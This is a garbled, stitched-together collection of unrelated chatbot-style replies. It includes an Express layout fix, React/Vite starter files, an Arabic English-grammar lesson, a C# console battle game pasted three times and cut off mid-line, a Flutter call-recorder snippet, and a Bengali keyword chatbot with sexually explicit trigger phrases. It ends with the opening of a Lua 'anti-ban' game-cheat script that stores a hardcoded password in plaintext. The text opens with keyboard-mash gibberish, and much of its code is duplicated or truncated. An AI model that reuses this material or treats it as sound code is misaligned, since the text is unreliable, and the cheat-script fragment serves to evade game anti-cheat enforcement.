Dgcjtm; j,n s:#-$<&(.:&÷<[@.:;_)=÷=<&^(.3@&<>.%÷&<=(.+:*[)&:@=3&[>.:&>[)=÷<&>):&[
7÷[email protected]تدشقتهخ، تهم،قفضهت،حدصبفتهك، قص٤تهح،دقتك٨ف،شقتح٨ق،قاكتهثش،قخه،اتثشقتهم،اثقشهتمذ،يبتهذح،'?*;ىلتهمىثقشتمىههلثقموعنلتخهكشثقخكعهاثشعهخقكع٧خكلقع٧خىبيل٧عىخثقعخ٧لثشقع٧خكلثعقشهخكااهخىشثقلتهمىينتوىيقتهمكلشثقتمهىذشمىهلثتقتهمذتثبتمتىلناعىقثعدىلاهنىثقدتنىفذيذتدفيشندتنىلشثفاعثنشلىفندعىلفقشخاشعقفذكلامقفشهكشقفذتهمىتذبفهمىسفدقسكتتمفقلشهىمشثلقىاهمشقثلماهامبهقثثقتملهىمعخص٣فقصتمىنلماىتقصلىماتصقذنقلثامىzaffect7
In your server.js,
keep only one
const expressLayouts = require("express-ejs-layouts")
/* ***********************
* View Engine and Templates
*************************/
app.set("view engine", "ejs")
app.use(expressLayouts) // => use the single import
app.set("layout", "layouts/layout") // => remove the ./ prefix
Here are the missing files for your Botanic Bazar e‑commerce website. কপি করে আলাদা আলাদা ফাইলে রেখে দিন ⬇️
index.html<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Botanic Bazar</title>
</head>
<body>
<div id="root"></div>
<script type="module" src="/main.jsx"></script>
</body>
</html>
package.json{
"name": "botanic-bazar",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "vite",
"build": "vite build",
"preview": "vite preview"
},
"dependencies": {
"lucide-react": "^0.452.0",
"react": "^18.2.0",
"react-dom": "^18.2.0"
},
"devDependencies": {
"@vitejs/plugin-react": "^4.2.1",
"tailwindcss": "^3.4.0",
"vite": "^5.2.0"
}
}
main.jsximport React from "react";
import ReactDOM from "react-dom/client";
import App from "./App";
import "./index.css";
ReactDOM.createRoot(document.getElementById("root")).render(
<React.StrictMode>
<App />
</React.StrictMode>
);
index.css (Tailwind setup)@tailwind base;
@tailwind components;
@tailwind utilities;
body {
font-family: sans-serif;
}
👉 এবার কী করবেন:
সব ফাইল এক ফোল্ডারে রাখুন (যেমন botanic-bazar)।
টার্মিনাল খুলে লিখুন:
npm install
npm run dev
ব্রাউজারে গিয়ে http://localhost:5173 ওপেন করলে সাইট চালু হবে ✅
আপনি কি চান আমি আপনাকে Vercel-এ আপলোড করার স্টেপগুলো স্ক্রিনশট/চিত্র আকারে সাজিয়ে দিই? তাহলে একদম ভিজ্যুয়ালি ফলো করতে পারবেন।
لقد جهزت لك نسخة جاهزة للنسخ إلى Word أو Google Docs، مع جدول وألوان، لتصديرها PDF بسهولة:
---
ملخص درس النفي – الإنجليزية
1️⃣ النفي مع He / She / It
قاعدة: doesn’t + الفعل الأساسي
الفعل بعد doesn’t لا يأخذ -s
أمثلة:
He doesn’t play football. → هو لا يلعب كرة القدم.
She doesn’t like apples. → هي لا تحب التفاح.
He doesn’t read a book. → هو لا يقرأ كتابًا.
2️⃣ النفي مع I / You / We / They
قاعدة: don’t + الفعل الأساسي
أمثلة:
I don’t like tea. → أنا لا أحب الشاي.
You don’t play tennis. → أنت لا تلعب التنس.
We don’t read a story. → نحن لا نقرأ قصة.
They don’t watch a movie. → هم لا يشاهدون فيلمًا.
3️⃣ ملاحظات مهمة
مع He / She / It: في الإثبات الفعل يأخذ -s، أما في النفي doesn’t + الفعل الأساسي بدون -s.
مع I / You / We / They: الفعل يبقى دائمًا في صورته الأساسية بعد don’t.
كرري نطق الجمل بصوت عالٍ 3 مرات لكل جملة لتثبيت القاعدة.
4️⃣ نصيحة للتدريب اليومي
كتابة 5-10 جمل نفي يوميًا عن نفسك أو أصدقائك.
استخدمي الجمل في حديثك اليومي بالإنجليزية حتى لو كانت بسيطة.
تم تجهيز النسخة الجاهزة للنسخ إلى Word أو Google Docs
🔥 ممتاز! دلوقتي رح نرتقي للنسخة النصية شبه Free Fire/ Battler Royale كاملة داخل الكونسول 🚀
مميزات النسخة النهائية:
1. خريطة نصية صغيرة (مثل شبكة 5x5) يتحرك فيها اللاعب.
2. أعداء يتحركون أيضًا في نفس الخريطة.
3. صناديق غنائم وأسلحة وجرعات علاج موزعة عشوائيًا في الخريطة.
4. مناطق آمنة وفخاخ تقلل الصحة عند الوقوع فيها.
5. الهدف: البقاء على قيد الحياة وقتل أكبر عدد من الأعداء للحصول على نقاط.
6. نظام نقاط + قتلى + جولات يظهر في النهاية.
---
🕹️ نسخة Free Fire نصية (C#)
using System;
class Program
{
static void Main()
{
Random rand = new Random();
int حجم\_الخريطة = 5;
char\[,\] خريطة = new char\[حجم\_الخريطة, حجم\_الخريطة\];
// صحة اللاعب وجرعات العلاج
int صحة\_اللاعب = 100;
int علاج\_متاح = 3;
int\[\] موقع\_اللاعب = { 0, 0 };
// الأسلحة وقوتها
string\[\] اسلحة = { "مسدس", "رشاش", "قناصة" };
int\[\] قوة\_السلاح = { 20, 40, 70 };
int سلاح\_مختار = 0;
// نظام النقاط
int النقاط = 0;
int قتلى = 0;
// وضع صناديق عشوائية وأعداء
int عدد\_الأعداء = 3;
int\[,\] مواقع\_الاعداء = new int\[عدد\_الأعداء, 2\];
int\[\] صحة\_الاعداء = new int\[عدد\_الأعداء\];
for (int i = 0; i \< عدد\_الأعداء; i++)
{
مواقع\_الاعداء\[i, 0\] = rand.Next(حجم\_الخريطة);
مواقع\_الاعداء\[i, 1\] = rand.Next(حجم\_الخريطة);
صحة\_الاعداء\[i\] = rand.Next(30, 80);
}
// وضع صناديق عشوائية
int عدد\_الصناديق = 3;
int\[,\] مواقع\_الصناديق = new int\[عدد\_الصناديق, 2\];
for (int i = 0; i \< عدد\_الصناديق; i++)
{
مواقع\_الصناديق\[i, 0\] = rand.Next(حجم\_الخريطة);
مواقع\_الصناديق\[i, 1\] = rand.Next(حجم\_الخريطة);
}
// اللعبة تعمل حتى يموت اللاعب أو ينتهي جولة
bool اللعبة\_نشطة = true;
while (اللعبة\_نشطة)
{
// عرض الخريطة
Console.Clear();
for (int i = 0; i \< حجم\_الخريطة; i++)
{
for (int j = 0; j \< حجم\_الخريطة; j++)
{
if (i == موقع\_اللاعب\[0\] && j == موقع\_اللاعب\[1\])
Console.Write(" P "); // اللاعب
else
{
bool تم\_عرض = false;
for (int k = 0; k \< عدد\_الأعداء; k++)
{
if (i == مواقع\_الاعداء\[k, 0\] && j == مواقع\_الاعداء\[k, 1\] && صحة\_الاعداء\[k\] \> 0)
{
Console.Write(" E "); // العدو
تم\_عرض = true;
break;
}
}
if (!تم\_عرض)
{
bool صندوق = false;
for (int k = 0; k \< عدد\_الصناديق; k++)
{
if (i == مواقع\_الصناديق\[k, 0\] && j == مواقع\_الصناديق\[k, 1\])
{
Console.Write(" C "); // صندوق
صندوق = true;
break;
}
}
if (!صندوق) Console.Write(" . "); // أرض فارغة
}
}
}
Console.WriteLine();
}
Console.WriteLine($"\\n❤️ صحة اللاعب: {صحة\_اللاعب} | 🧪 جرعات علاج: {علاج\_متاح} | 🏆 نقاط: {النقاط} | قتلى: {قتلى}");
Console.WriteLine("حرك اللاعب: w=أعلى s=أسفل a=يسار d=يمين أو q للخروج");
char حركة = Console.ReadKey().KeyChar;
// تحديث موقع اللاعب
int صف\_جديد = موقع\_اللاعب\[0\];
int عمود\_جديد = موقع\_اللاعب\[1\];
if (حركة == 'w') صف\_جديد--;
else if (حركة == 's') صف\_جديد++;
else if (حركة == 'a') عمود\_جديد--;
else if (حركة == 'd') عمود\_جديد++;
else if (حركة == 'q') { اللعبة\_نشطة = false; break; }
// التأكد من حدود الخريطة
if (صف\_جديد \>= 0 && صف\_جديد \< حجم\_الخريطة) موقع\_اللاعب\[0\] = صف\_جديد;
if (عمود\_جديد \>= 0 && عمود\_جديد \< حجم\_الخريطة) موقع\_اللاعب\[1\] = عمود\_جديد;
// التحقق من تفاعل مع صناديق
for (int i = 0; i \< عدد\_الصناديق; i++)
{
if (موقع\_اللاعب\[0\] == مواقع\_الصناديق\[i,0\] && موقع\_اللاعب\[1\] == مواقع\_الصناديق\[i,1\])
{
int حدث = rand.Next(1,4);
if (حدث == 1) // علاج
{
علاج\_متاح++;
Console.WriteLine("\\n✨ وجدت جرعة علاج!");
}
else // سلاح جديد
{
string اسم\_سلاح\_جديد = "سلاح جديد";
int قوة\_جديدة = rand.Next(30,80);
Array.Resize(ref اسلحة, اسلحة.Length +1);
Array.Resize(ref قوة\_السلاح, قوة\_السلاح.Length +1);
اسلحة\[اسلحة.Length-1\] = اسم\_سلاح\_جديد;
قوة\_السلاح\[قوة\_السلاح.Length-1\] = قوة\_جديدة;
Console.WriteLine($"\\n✨ وجدت {اسم\_سلاح\_جديد} بقوة {قوة\_جديدة}");
}
// إزالة الصندوق
مواقع\_الصناديق\[i,0\] = -1;
مواقع\_الصناديق\[i,1\] = -1;
}
}
// التحقق من مواجهة أعداء
for (int i = 0; i \< عدد\_الأعداء; i++)
{
if (صحة\_الاعداء\[i\] \> 0 &&
موقع\_اللاعب\[0\] == مواقع\_الاعداء\[i,0\] &&
موقع\_اللاعب\[1\] == مواقع\_الاعداء\[i,1\])
{
Console.WriteLine($"\\n💀 واجهت {i+1}- {مواقع\_الاعداء\[i,0\]},{مواقع\_الاعداء\[i,1\]}! المعركة تبدأ.");
while (صحة\_اللاعب \> 0 && صحة\_الاعداء\[i\] \> 0)
{
Console.WriteLine($"💀 صحة العدو: {صحة\_الاعداء\[i\]}");
Console.WriteLine($"❤️ صحتك: {صحة\_اللاعب}");
Console.WriteLine("1- هجوم 2- علاج");
char خيار = Console.ReadKey().KeyChar;
if (خيار=='1')
{
صحة\_الاعداء\[i\]-=قوة\_السلاح\[سلاح\_مختار\];
Console.WriteLine($"\\n💥 هاجمت العدو بقوة {قوة\_السلاح\[سلاح\_مختار\]}");
}
else if (خيار=='2' && علاج\_متاح\>0)
{
صحة\_اللاعب+=30; علاج\_متاح--;
Console.WriteLine("\\n🧪 استخدمت علاج +30 صحة");
}
else Console.WriteLine("\\n❌ اختيار خاطئ أو لا يوجد علاج");
// رد العدو
if (صحة\_الاعداء\[i\]\>0)
{
int ضرر\_عدو = rand.Next(5,20);
صحة\_اللاعب-=ضرر\_عدو;
Console.WriteLine($"💀 العدو هاجمك وخسرت {ضرر\_عدو} صحة");
}
}
if (صحة\_اللاعب\>0) {
Console.WriteLine("🏆 قتلت العدو!");
النقاط+=rand.Next(50,150);
قتلى++;
}
}
}
// الأعداء يتحركون عشوائياً
for (int i = 0; i \< عدد\_الأعداء; i++)
{
if (صحة\_الاعداء\[i\]\>0)
{
int تحريك = rand.Next(0,4);
if (تحريك==0 && مواقع\_الاعداء
🔥 ممتاز! دلوقتي رح نرتقي للنسخة النصية شبه Free Fire/ Battler Royale كاملة داخل الكونسول 🚀
مميزات النسخة النهائية:
1. خريطة نصية صغيرة (مثل شبكة 5x5) يتحرك فيها اللاعب.
2. أعداء يتحركون أيضًا في نفس الخريطة.
3. صناديق غنائم وأسلحة وجرعات علاج موزعة عشوائيًا في الخريطة.
4. مناطق آمنة وفخاخ تقلل الصحة عند الوقوع فيها.
5. الهدف: البقاء على قيد الحياة وقتل أكبر عدد من الأعداء للحصول على نقاط.
6. نظام نقاط + قتلى + جولات يظهر في النهاية.
---
🕹️ نسخة Free Fire نصية (C#)
using System;
class Program
{
static void Main()
{
Random rand = new Random();
int حجم\_الخريطة = 5;
char\[,\] خريطة = new char\[حجم\_الخريطة, حجم\_الخريطة\];
// صحة اللاعب وجرعات العلاج
int صحة\_اللاعب = 100;
int علاج\_متاح = 3;
int\[\] موقع\_اللاعب = { 0, 0 };
// الأسلحة وقوتها
string\[\] اسلحة = { "مسدس", "رشاش", "قناصة" };
int\[\] قوة\_السلاح = { 20, 40, 70 };
int سلاح\_مختار = 0;
// نظام النقاط
int النقاط = 0;
int قتلى = 0;
// وضع صناديق عشوائية وأعداء
int عدد\_الأعداء = 3;
int\[,\] مواقع\_الاعداء = new int\[عدد\_الأعداء, 2\];
int\[\] صحة\_الاعداء = new int\[عدد\_الأعداء\];
for (int i = 0; i \< عدد\_الأعداء; i++)
{
مواقع\_الاعداء\[i, 0\] = rand.Next(حجم\_الخريطة);
مواقع\_الاعداء\[i, 1\] = rand.Next(حجم\_الخريطة);
صحة\_الاعداء\[i\] = rand.Next(30, 80);
}
// وضع صناديق عشوائية
int عدد\_الصناديق = 3;
int\[,\] مواقع\_الصناديق = new int\[عدد\_الصناديق, 2\];
for (int i = 0; i \< عدد\_الصناديق; i++)
{
مواقع\_الصناديق\[i, 0\] = rand.Next(حجم\_الخريطة);
مواقع\_الصناديق\[i, 1\] = rand.Next(حجم\_الخريطة);
}
// اللعبة تعمل حتى يموت اللاعب أو ينتهي جولة
bool اللعبة\_نشطة = true;
while (اللعبة\_نشطة)
{
// عرض الخريطة
Console.Clear();
for (int i = 0; i \< حجم\_الخريطة; i++)
{
for (int j = 0; j \< حجم\_الخريطة; j++)
{
if (i == موقع\_اللاعب\[0\] && j == موقع\_اللاعب\[1\])
Console.Write(" P "); // اللاعب
else
{
bool تم\_عرض = false;
for (int k = 0; k \< عدد\_الأعداء; k++)
{
if (i == مواقع\_الاعداء\[k, 0\] && j == مواقع\_الاعداء\[k, 1\] && صحة\_الاعداء\[k\] \> 0)
{
Console.Write(" E "); // العدو
تم\_عرض = true;
break;
}
}
if (!تم\_عرض)
{
bool صندوق = false;
for (int k = 0; k \< عدد\_الصناديق; k++)
{
if (i == مواقع\_الصناديق\[k, 0\] && j == مواقع\_الصناديق\[k, 1\])
{
Console.Write(" C "); // صندوق
صندوق = true;
break;
}
}
if (!صندوق) Console.Write(" . "); // أرض فارغة
}
}
}
Console.WriteLine();
}
Console.WriteLine($"\\n❤️ صحة اللاعب: {صحة\_اللاعب} | 🧪 جرعات علاج: {علاج\_متاح} | 🏆 نقاط: {النقاط} | قتلى: {قتلى}");
Console.WriteLine("حرك اللاعب: w=أعلى s=أسفل a=يسار d=يمين أو q للخروج");
char حركة = Console.ReadKey().KeyChar;
// تحديث موقع اللاعب
int صف\_جديد = موقع\_اللاعب\[0\];
int عمود\_جديد = موقع\_اللاعب\[1\];
if (حركة == 'w') صف\_جديد--;
else if (حركة == 's') صف\_جديد++;
else if (حركة == 'a') عمود\_جديد--;
else if (حركة == 'd') عمود\_جديد++;
else if (حركة == 'q') { اللعبة\_نشطة = false; break; }
// التأكد من حدود الخريطة
if (صف\_جديد \>= 0 && صف\_جديد \< حجم\_الخريطة) موقع\_اللاعب\[0\] = صف\_جديد;
if (عمود\_جديد \>= 0 && عمود\_جديد \< حجم\_الخريطة) موقع\_اللاعب\[1\] = عمود\_جديد;
// التحقق من تفاعل مع صناديق
for (int i = 0; i \< عدد\_الصناديق; i++)
{
if (موقع\_اللاعب\[0\] == مواقع\_الصناديق\[i,0\] && موقع\_اللاعب\[1\] == مواقع\_الصناديق\[i,1\])
{
int حدث = rand.Next(1,4);
if (حدث == 1) // علاج
{
علاج\_متاح++;
Console.WriteLine("\\n✨ وجدت جرعة علاج!");
}
else // سلاح جديد
{
string اسم\_سلاح\_جديد = "سلاح جديد";
int قوة\_جديدة = rand.Next(30,80);
Array.Resize(ref اسلحة, اسلحة.Length +1);
Array.Resize(ref قوة\_السلاح, قوة\_السلاح.Length +1);
اسلحة\[اسلحة.Length-1\] = اسم\_سلاح\_جديد;
قوة\_السلاح\[قوة\_السلاح.Length-1\] = قوة\_جديدة;
Console.WriteLine($"\\n✨ وجدت {اسم\_سلاح\_جديد} بقوة {قوة\_جديدة}");
}
// إزالة الصندوق
مواقع\_الصناديق\[i,0\] = -1;
مواقع\_الصناديق\[i,1\] = -1;
}
}
// التحقق من مواجهة أعداء
for (int i = 0; i \< عدد\_الأعداء; i++)
{
if (صحة\_الاعداء\[i\] \> 0 &&
موقع\_اللاعب\[0\] == مواقع\_الاعداء\[i,0\] &&
موقع\_اللاعب\[1\] == مواقع\_الاعداء\[i,1\])
{
Console.WriteLine($"\\n💀 واجهت {i+1}- {مواقع\_الاعداء\[i,0\]},{مواقع\_الاعداء\[i,1\]}! المعركة تبدأ.");
while (صحة\_اللاعب \> 0 && صحة\_الاعداء\[i\] \> 0)
{
Console.WriteLine($"💀 صحة العدو: {صحة\_الاعداء\[i\]}");
Console.WriteLine($"❤️ صحتك: {صحة\_اللاعب}");
Console.WriteLine("1- هجوم 2- علاج");
char خيار = Console.ReadKey().KeyChar;
if (خيار=='1')
{
صحة\_الاعداء\[i\]-=قوة\_السلاح\[سلاح\_مختار\];
Console.WriteLine($"\\n💥 هاجمت العدو بقوة {قوة\_السلاح\[سلاح\_مختار\]}");
}
else if (خيار=='2' && علاج\_متاح\>0)
{
صحة\_اللاعب+=30; علاج\_متاح--;
Console.WriteLine("\\n🧪 استخدمت علاج +30 صحة");
}
else Console.WriteLine("\\n❌ اختيار خاطئ أو لا يوجد علاج");
// رد العدو
if (صحة\_الاعداء\[i\]\>0)
{
int ضرر\_عدو = rand.Next(5,20);
صحة\_اللاعب-=ضرر\_عدو;
Console.WriteLine($"💀 العدو هاجمك وخسرت {ضرر\_عدو} صحة");
}
}
if (صحة\_اللاعب\>0) {
Console.WriteLine("🏆 قتلت العدو!");
النقاط+=rand.Next(50,150);
قتلى++;
}
}
}
// الأعداء يتحركون عشوائياً
for (int i = 0; i \< عدد\_الأعداء; i++)
{
if (صحة\_الاعداء\[i\]\>0)
{
int تحريك = rand.Next(0,4);
if (تحريك==0 && مواقع\_الاعداء
🔥 ممتاز! دلوقتي رح نرتقي للنسخة النصية شبه Free Fire/ Battler Royale كاملة داخل الكونسول 🚀
مميزات النسخة النهائية:
1. خريطة نصية صغيرة (مثل شبكة 5x5) يتحرك فيها اللاعب.
2. أعداء يتحركون أيضًا في نفس الخريطة.
3. صناديق غنائم وأسلحة وجرعات علاج موزعة عشوائيًا في الخريطة.
4. مناطق آمنة وفخاخ تقلل الصحة عند الوقوع فيها.
5. الهدف: البقاء على قيد الحياة وقتل أكبر عدد من الأعداء للحصول على نقاط.
6. نظام نقاط + قتلى + جولات يظهر في النهاية.
---
🕹️ نسخة Free Fire نصية (C#)
using System;
class Program
{
static void Main()
{
Random rand = new Random();
int حجم\_الخريطة = 5;
char\[,\] خريطة = new char\[حجم\_الخريطة, حجم\_الخريطة\];
// صحة اللاعب وجرعات العلاج
int صحة\_اللاعب = 100;
int علاج\_متاح = 3;
int\[\] موقع\_اللاعب = { 0, 0 };
// الأسلحة وقوتها
string\[\] اسلحة = { "مسدس", "رشاش", "قناصة" };
int\[\] قوة\_السلاح = { 20, 40, 70 };
int سلاح\_مختار = 0;
// نظام النقاط
int النقاط = 0;
int قتلى = 0;
// وضع صناديق عشوائية وأعداء
int عدد\_الأعداء = 3;
int\[,\] مواقع\_الاعداء = new int\[عدد\_الأعداء, 2\];
int\[\] صحة\_الاعداء = new int\[عدد\_الأعداء\];
for (int i = 0; i \< عدد\_الأعداء; i++)
{
مواقع\_الاعداء\[i, 0\] = rand.Next(حجم\_الخريطة);
مواقع\_الاعداء\[i, 1\] = rand.Next(حجم\_الخريطة);
صحة\_الاعداء\[i\] = rand.Next(30, 80);
}
// وضع صناديق عشوائية
int عدد\_الصناديق = 3;
int\[,\] مواقع\_الصناديق = new int\[عدد\_الصناديق, 2\];
for (int i = 0; i \< عدد\_الصناديق; i++)
{
مواقع\_الصناديق\[i, 0\] = rand.Next(حجم\_الخريطة);
مواقع\_الصناديق\[i, 1\] = rand.Next(حجم\_الخريطة);
}
// اللعبة تعمل حتى يموت اللاعب أو ينتهي جولة
bool اللعبة\_نشطة = true;
while (اللعبة\_نشطة)
{
// عرض الخريطة
Console.Clear();
for (int i = 0; i \< حجم\_الخريطة; i++)
{
for (int j = 0; j \< حجم\_الخريطة; j++)
{
if (i == موقع\_اللاعب\[0\] && j == موقع\_اللاعب\[1\])
Console.Write(" P "); // اللاعب
else
{
bool تم\_عرض = false;
for (int k = 0; k \< عدد\_الأعداء; k++)
{
if (i == مواقع\_الاعداء\[k, 0\] && j == مواقع\_الاعداء\[k, 1\] && صحة\_الاعداء\[k\] \> 0)
{
Console.Write(" E "); // العدو
تم\_عرض = true;
break;
}
}
if (!تم\_عرض)
{
bool صندوق = false;
for (int k = 0; k \< عدد\_الصناديق; k++)
{
if (i == مواقع\_الصناديق\[k, 0\] && j == مواقع\_الصناديق\[k, 1\])
{
Console.Write(" C "); // صندوق
صندوق = true;
break;
}
}
if (!صندوق) Console.Write(" . "); // أرض فارغة
}
}
}
Console.WriteLine();
}
Console.WriteLine($"\\n❤️ صحة اللاعب: {صحة\_اللاعب} | 🧪 جرعات علاج: {علاج\_متاح} | 🏆 نقاط: {النقاط} | قتلى: {قتلى}");
Console.WriteLine("حرك اللاعب: w=أعلى s=أسفل a=يسار d=يمين أو q للخروج");
char حركة = Console.ReadKey().KeyChar;
// تحديث موقع اللاعب
int صف\_جديد = موقع\_اللاعب\[0\];
int عمود\_جديد = موقع\_اللاعب\[1\];
if (حركة == 'w') صف\_جديد--;
else if (حركة == 's') صف\_جديد++;
else if (حركة == 'a') عمود\_جديد--;
else if (حركة == 'd') عمود\_جديد++;
else if (حركة == 'q') { اللعبة\_نشطة = false; break; }
// التأكد من حدود الخريطة
if (صف\_جديد \>= 0 && صف\_جديد \< حجم\_الخريطة) موقع\_اللاعب\[0\] = صف\_جديد;
if (عمود\_جديد \>= 0 && عمود\_جديد \< حجم\_الخريطة) موقع\_اللاعب\[1\] = عمود\_جديد;
// التحقق من تفاعل مع صناديق
for (int i = 0; i \< عدد\_الصناديق; i++)
{
if (موقع\_اللاعب\[0\] == مواقع\_الصناديق\[i,0\] && موقع\_اللاعب\[1\] == مواقع\_الصناديق\[i,1\])
{
int حدث = rand.Next(1,4);
if (حدث == 1) // علاج
{
علاج\_متاح++;
Console.WriteLine("\\n✨ وجدت جرعة علاج!");
}
else // سلاح جديد
{
string اسم\_سلاح\_جديد = "سلاح جديد";
int قوة\_جديدة = rand.Next(30,80);
Array.Resize(ref اسلحة, اسلحة.Length +1);
Array.Resize(ref قوة\_السلاح, قوة\_السلاح.Length +1);
اسلحة\[اسلحة.Length-1\] = اسم\_سلاح\_جديد;
قوة\_السلاح\[قوة\_السلاح.Length-1\] = قوة\_جديدة;
Console.WriteLine($"\\n✨ وجدت {اسم\_سلاح\_جديد} بقوة {قوة\_جديدة}");
}
// إزالة الصندوق
مواقع\_الصناديق\[i,0\] = -1;
مواقع\_الصناديق\[i,1\] = -1;
}
}
// التحقق من مواجهة أعداء
for (int i = 0; i \< عدد\_الأعداء; i++)
{
if (صحة\_الاعداء\[i\] \> 0 &&
موقع\_اللاعب\[0\] == مواقع\_الاعداء\[i,0\] &&
موقع\_اللاعب\[1\] == مواقع\_الاعداء\[i,1\])
{
Console.WriteLine($"\\n💀 واجهت {i+1}- {مواقع\_الاعداء\[i,0\]},{مواقع\_الاعداء\[i,1\]}! المعركة تبدأ.");
while (صحة\_اللاعب \> 0 && صحة\_الاعداء\[i\] \> 0)
{
Console.WriteLine($"💀 صحة العدو: {صحة\_الاعداء\[i\]}");
Console.WriteLine($"❤️ صحتك: {صحة\_اللاعب}");
Console.WriteLine("1- هجوم 2- علاج");
char خيار = Console.ReadKey().KeyChar;
if (خيار=='1')
{
صحة\_الاعداء\[i\]-=قوة\_السلاح\[سلاح\_مختار\];
Console.WriteLine($"\\n💥 هاجمت العدو بقوة {قوة\_السلاح\[سلاح\_مختار\]}");
}
else if (خيار=='2' && علاج\_متاح\>0)
{
صحة\_اللاعب+=30; علاج\_متاح--;
Console.WriteLine("\\n🧪 استخدمت علاج +30 صحة");
}
else Console.WriteLine("\\n❌ اختيار خاطئ أو لا يوجد علاج");
// رد العدو
if (صحة\_الاعداء\[i\]\>0)
{
int ضرر\_عدو = rand.Next(5,20);
صحة\_اللاعب-=ضرر\_عدو;
Console.WriteLine($"💀 العدو هاجمك وخسرت {ضرر\_عدو} صحة");
}
}
if (صحة\_اللاعب\>0) {
Console.WriteLine("🏆 قتلت العدو!");
النقاط+=rand.Next(50,150);
قتلى++;
}
}
}
// الأعداء يتحركون عشوائياً
for (int i = 0; i \< عدد\_الأعداء; i++)
{
if (صحة\_الاعداء\[i\]\>0)
{
int تحريك = rand.Next(0,4);
if (تحريك==0 && مواقع\_الاعداء
[i,0]>0) مواقع_الاعداء[i,0]--;
else if (تحريك==1 && مواقع\_الاعداء\[i,0\]\<حجم\_الخريطة-1) مواقع\_الاعداء\[i,0\]++;
else if (تحريك==2 && مواقع\_الاعداء\[i,1\]\>0) مواقع\_الاعداء\[i,
[i,0]>0) مواقع_الاعداء[i,0]--;
else if (تحريك==1 && مواقع\_الاعداء\[i,0\]\<حجم\_الخريطة-1) مواقع\_الاعداء\[i,0\]++;
else if (تحريك==2 && مواقع\_الاعداء\[i,1\]\>0) مواقع\_الاعداء\[i,
[i,0]>0) مواقع_الاعداء[i,0]--;
else if (تحريك==1 && مواقع\_الاعداء\[i,0\]\<حجم\_الخريطة-1) مواقع\_الاعداء\[i,0\]++;
else if (تحريك==2 && مواقع\_الاعداء\[i,1\]\>0) مواقع\_الاعداء\[i,
فيما يلي مثال أساسي حول كيفية تنفيذ وظيفة تسجيل المكالمات في تطبيق Flutter:
import 'package:flutter/material.dart';
import 'package:audio_session/audio_session.dart';
import 'package:record_mp3/recorder.mp3.dart';
class CallRecorder extends StatefulWidget {
@override
_CallRecorderState createState() => _CallRecorderState();
}
class _CallRecorderState extends State<CallRecorder> {
bool _isRecording = false;
final _audioSession = AudioSession.instance;
void _startStopRecording() async {
if (_isRecording) {
await _stopRecording();
} else {
await _startRecording();
}
setState(() => _isRecording = !_isRecording);
}
Future<void> _startRecording() async {
final recorder = await RecorderMp3.start(
outputDirectory: 'path_to_your_directory',
format: Format.mp3,
);
await recorder.start();
}
Future<void> _stopRecording() async {
final recorder = await RecorderMp3.stop();
}
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(
title: Text('Call Recorder'),
),
body: Center(
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
children: <Widget>[
_isRecording
? ElevatedButton(
onPressed: () => _startStopRecording(),
child: Text('Stop Recording'),
)
: ElevatedButton(
onPressed: () => _startStopRecording(),
child: Text('Start Recording'),
),
],
),
),
);
}
}
هذا الكود يُسجِّل الصوت ويحفظه في ملف في المجلد المُحدَّد. يُرجى العلم أن هذا الكود يتطلب أذونات لتسجيل الصوت، وقد تختلف هذه الأذونات باختلاف نظام التشغيل (أندرويد أو iOS).
import json # config.json লোড with open("config.json", "r", encoding="utf-8") as f: config = json.load(f) USER_NAME = config["user_name"] BOT_NAME = config["bot_name"] GREETING = config["greeting"] # memory.json লোড with open("memory.json", "r", encoding="utf-8") as f: memory = json.load(f) print(GREETING) def reply(message: str): for word, response in memory.items(): if word in message: return response return f"{USER_NAME}, আমি এখনো এটা শিখিনি 🙂" # লুপ while True: msg = input(f"{USER_NAME}: ") if msg.lower() in ["exit", "quit"]: print("বিদায় সুনা 🌸") break print(f"{BOT_NAME}: {reply(msg)}" [{( সেক্স, উলঙ্গ, লেংটা, খেয়েছি, দুজন মিলে খেলছে, আদর করছি, ভালোবাসা করছে, চুদাচুদি করছি, হাতে থুতু দিয়ে আমার সুনাকে ভিজিয়ে দাও, আমার সুনার ফাঁকে ঢুকিয়ে দাও, আমার দুই রানের মাঝখানে গুতা দাও, তুমি আমার পিছন মারো)}]🌹🥰
Zip
把这个ijArtifactdownloader.gradle 自动下载二进制关了,不然总是提示失败
- ================================
-- 💎 ROMAN MOD OFFICIAL ANTIBEN 💎
-- ================================
gg.alert("💠 𝐑𝐎𝐌𝐀𝐍 𝐌𝐎𝐃 𝐎𝐅𝐅𝐈𝐂𝐈𝐀𝐋 𝐀𝐍𝐓𝐈𝐁𝐄𝐍 💠", "💎 VIP PREMIUM SCRIPT 💎")
gg.alert("🔔 𝙁𝙊𝙍 𝙐𝙋𝘿𝘼𝙏𝙀 𝙅𝙊𝙄𝙉 𝙏𝙀𝙇𝙀𝙂𝙍𝘼𝙈 🔔","💎 VIP PREMIUM SCRIPT 💎")
-- ================================
-- 🔐 LOGIN SYSTEM WITH SAVE OPTION
-- ================================
local LOGIN_FILE = "/sdcard/romanmod_login.txt"
local USERNAME, PASSWORD = "RUMAN", "MODZ"
-- Save login info automatically
local function saveLogin(username, password)
local f = io.open(LOGIN_FILE, "w")
if f then
f:write(username.."\\n"..password)
f:close()
end
end
-- Load login info
local function loadLogin()
local f = io.open(LOGIN_FILE, "r")
if f then
local username = f:read("\*l")
local password = f:read("\*l")
f:close()
return username, password
end
return nil, nil
end
-- ================================
-- LOGIN PROMPT (প্রতিবার দেখাবে)
-- ================================
local savedUser, savedPass = loadLogin()
local inputUsername, inputPassword
if savedUser then
-- Auto-fill saved credentials, but still require user to enter
inputUsername = savedUser
inputPassword = savedPass
else
inputUsername = ""
inputPassword = ""
end
local input = gg.prompt(
{"👤 Username", "🔑 Password"},
{inputUsername, inputPassword},
{"text", "text"}
)
if not input then os.exit() end
if input[1] ~= USERNAME or input[2] ~= PASSWORD then
gg.alert("❌ Login Failed!\\nWrong Username or Password!\\nAccess Denied! ❌")
os.exit()
end
-- Automatically save password without button
saveLogin(input[1], input[2])
gg.toast("💾 Password Saved Automatically", true)
gg.toast("✅ Login Successful", true)
-- ================================
-- EXPIRE DATE SYSTEM
-- ================================
local expire = {day=20, month=9, year=2025}
local function getDateInfo()
local nowT = os.date("\*t")
local nowStr = os.date("⏰ %H:%M:%S | 📅 %d/%m/%Y")
if (nowT.year \> expire.year) or
(nowT.year == expire.year and nowT.month \> expire.month) or
